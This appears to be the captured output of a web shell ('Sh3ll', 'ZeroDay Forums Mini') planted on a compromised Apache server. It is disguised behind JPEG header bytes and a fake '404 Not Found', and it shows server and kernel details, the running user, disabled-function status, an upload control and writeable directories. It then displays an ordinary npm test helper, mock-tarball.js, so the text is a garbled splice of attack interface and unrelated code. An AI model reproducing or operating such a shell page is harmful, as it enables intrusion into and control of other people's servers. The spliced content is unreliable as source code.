����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/deps/npm/test/util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/deps/npm/test/util/mock-tarball.js
'use strict'

const BB = require('bluebird')

const getStream = require('get-stream')
const pipeline = require('mississippi').pipeline
const tar = require('tar-stream')
const zlib = require('zlib')

module.exports = makeTarball
function makeTarball (files, opts) {
  opts = opts || {}
  const pack = tar.pack()
  Object.keys(files).forEach(function (filename) {
    const entry = files[filename]
    pack.entry({
      name: (opts.noPrefix ? '' : 'package/') + filename,
      type: entry.type,
      size: entry.size,
      mode: entry.mode,
      mtime: entry.mtime || new Date(0),
      linkname: entry.linkname,
      uid: entry.uid,
      gid: entry.gid,
      uname: entry.uname,
      gname: entry.gname
    }, typeof files[filename] === 'string'
      ? files[filename]
      : files[filename].data)
  })
  pack.finalize()
  return BB.try(() => {
    if (opts.stream && opts.gzip) {
      return pipeline(pack, zlib.createGzip())
    } else if (opts.stream) {
      return pack
    } else {
      return getStream.buffer(pack).then(ret => {
        if (opts.gzip) {
          return BB.fromNode(cb => zlib.gzip(ret, cb))
        } else {
          return ret
        }
      })
    }
  })
}

ZeroDay Forums Mini